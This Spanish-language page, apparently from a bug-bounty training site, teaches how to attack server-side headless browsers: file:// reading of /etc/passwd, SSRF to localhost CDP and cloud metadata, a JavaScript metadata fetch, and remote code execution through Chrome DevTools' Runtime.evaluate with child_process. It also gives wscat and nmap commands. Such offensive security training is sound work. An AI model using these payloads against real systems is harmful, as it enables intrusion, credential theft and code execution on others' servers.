Nuevos labs cada semana — Accede a todos desde 5€/mes

Headless Browsers

Explotar bots, crawlers y screenshots server-side

Respuesta rápida

¿Qué es Headless Browsers?

Las aplicaciones que usan headless browsers (Chrome, Firefox) para screenshots, crawling, o previews tienen un modelo de seguridad diferente al navegador normal: cache no particionado, file:// accesible, DevTools Protocol expuesto.

Severidad

Crítico

Frecuencia

Menos común

Payloads

7

Pasos

5

Severidad

Crítico

Frecuencia

Menos común

Payloads

7

Los headless browsers server-side no tienen las protecciones de un browser normal: no bloquean popups, no particionan cache entre orígenes, y pueden tener el Chrome DevTools Protocol (CDP) expuesto en el puerto 9222. Si puedes controlar la URL que visitan, tienes SSRF con capacidades de browser completo.

SSRF con capacidades de browserLectura de archivos (file://)RCE vía Chrome DevTools ProtocolCache poisoning cross-originPort scanning interno

Dónde buscar

Screenshot services

Funcionalidades de 'captura de pantalla' de una URL. El bot visita la URL y genera una imagen.

Link preview

Previews automáticos cuando pegas un link (Slack, Discord, etc.). El bot fetch la URL.

Web crawlers

Spiders que indexan contenido. Si controlas la URL, controlas qué visitan.

PDF exporters

Puppeteer/Chrome como motor de PDF (mismo contexto que HTML to PDF pero con más capacidades).

Metodología

1

Identificar headless browser

Envía una URL tuya y analiza el User-Agent del request entrante. HeadlessChrome, PhantomJS, etc.

2

Probar file://

Envía file:///etc/passwd como URL. Si el screenshot lo muestra → LFI completo.

3

Probar SSRF

http://127.0.0.1:9222 (CDP), http://127.0.0.1:8080, http://169.254.169.254

4

Probar JavaScript execution

Envía una página con JS que haga fetch a servicios internos y exfiltre vía <img src>.

5

Buscar CDP expuesto

Si el puerto 9222 está abierto, puedes conectarte al DevTools Protocol → RCE.

Caso real

Headless Chrome screenshot → CDP expuesto → RCE

$5,000+
1

Screenshot service

La app permite capturar screenshots de URLs arbitrarias usando Headless Chrome.

2

Port scan vía timing

Enviar URLs a http://127.0.0.1:PORT. Puertos abiertos responden más rápido que cerrados.

3

CDP en puerto 9222

El Chrome DevTools Protocol está escuchando en localhost:9222 sin autenticación.

4

RCE vía CDP

Conectarse al CDP permite ejecutar JavaScript arbitrario → Runtime.evaluate → child_process.exec.

Lección: Los headless browsers deben estar en sandboxes aislados. El CDP nunca debe estar expuesto. Si controlas la URL que visita el bot, tienes SSRF con capacidades de browser completo.

Payloads

file:// LFI

file:///etc/passwd

SSRF localhost

http://127.0.0.1:9222/json (Chrome DevTools)

JavaScript exfil

<script>fetch("http://169.254.169.254/latest/meta-data/").then(r=>r.text()).then(d=>document.title=d)</script>

Payloads avanzados(requiere cuenta)

CDP RCE

ws://127.0.0.1:9222/devtools/page/xxx → Runtime.evaluate({expression: 'require("child_process").execSync("id").toString()'})

Firefox file URI bypass

security.fileuri.strict_origin_policy=false → cross-origin file read

Cache poisoning

Headless browsers no particionan cache → poison response para cross-origin read

XXE via XSLT (CVE-2023-4357)

Chrome ≤115: XSLT parser lee archivos via XML external entities

Contenido exclusivo

Crea tu cuenta gratis para acceder a payloads avanzados, scripts y técnicas de bypass

Crear cuenta gratis

Herramientas

Chrome CDP client

Conectarse al Chrome DevTools Protocol para ejecutar JS remoto.

wscat -c ws://target:9222/devtools/page/ID

Nmap port scan

Verificar si el puerto CDP está expuesto.

nmap -p 9222 localhost

Tips

User-Agent revela el motor

HeadlessChrome, PhantomJS, wkhtmltopdf — cada uno tiene vulnerabilidades diferentes.

file:// = full read

Si el bot acepta file:// URLs, puedes leer cualquier archivo del servidor.

CDP = game over

Chrome DevTools Protocol sin auth permite ejecutar código arbitrario en el servidor.

Practica Headless Browsers con labs reales

Aplica estas técnicas en entornos seguros basados en reportes reales de bug bounty.